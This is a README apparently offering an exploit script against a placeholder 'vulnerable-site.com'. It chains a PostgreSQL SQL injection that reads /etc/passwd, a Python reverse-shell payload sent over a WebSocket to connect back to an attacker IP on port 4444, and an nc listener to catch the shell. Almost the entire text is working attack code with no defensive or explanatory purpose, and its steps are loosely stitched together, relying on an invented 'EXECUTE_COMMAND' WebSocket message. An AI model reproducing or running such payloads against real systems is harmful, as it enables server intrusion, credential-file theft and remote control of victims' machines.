README.md
Rendering markdown...
import websocket
import requests
import time
import threading
import os
# Target settings
TARGET_URL = "http://vulnerable-site.com/vuln-endpoint"
WEBSOCKET_URL = "ws://vulnerable-site.com/socket"
REVERSE_IP = "YOUR_IP"
REVERSE_PORT = 4444
# **1. Perform SQL Injection to create a malicious file on the server**
sql_payload = """SELECT lo_export(
(SELECT convert_from(pg_read_file('/etc/passwd'), 'UTF8')),
'/tmp/payload'
);"""
# Send SQLi to the server
requests.post(TARGET_URL, data={"input": sql_payload}, headers={"Content-Type": "application/x-www-form-urlencoded"})
print("[+] SQL Injection executed, file saved at /tmp/payload.")
# **2. Set up WebSocket and execute RCE**
def on_message(ws, message):
print("[+] Received message from WebSocket:", message)
# Execute RCE using WebSocket
exploit_payload = f"""import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{REVERSE_IP}",{REVERSE_PORT}));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);"""
ws.send(f"EXECUTE_COMMAND:{exploit_payload}")
def on_open(ws):
print("[+] WebSocket connection established.")
ws.send("INITIATE_EXPLOIT")
# **3. Perform WebSocket Hijacking**
def start_websocket_exploit():
ws = websocket.WebSocketApp(WEBSOCKET_URL, on_message=on_message, on_open=on_open)
ws.run_forever()
# **4. Start listener to receive the shell**
def start_listener():
print(f"[+] Listening on {REVERSE_PORT}...")
os.system(f"nc -lvnp {REVERSE_PORT}")
# Start WebSocket Hijack in a separate thread
threading.Thread(target=start_websocket_exploit).start()
time.sleep(2)
# Start Listener to receive Reverse Shell
start_listener()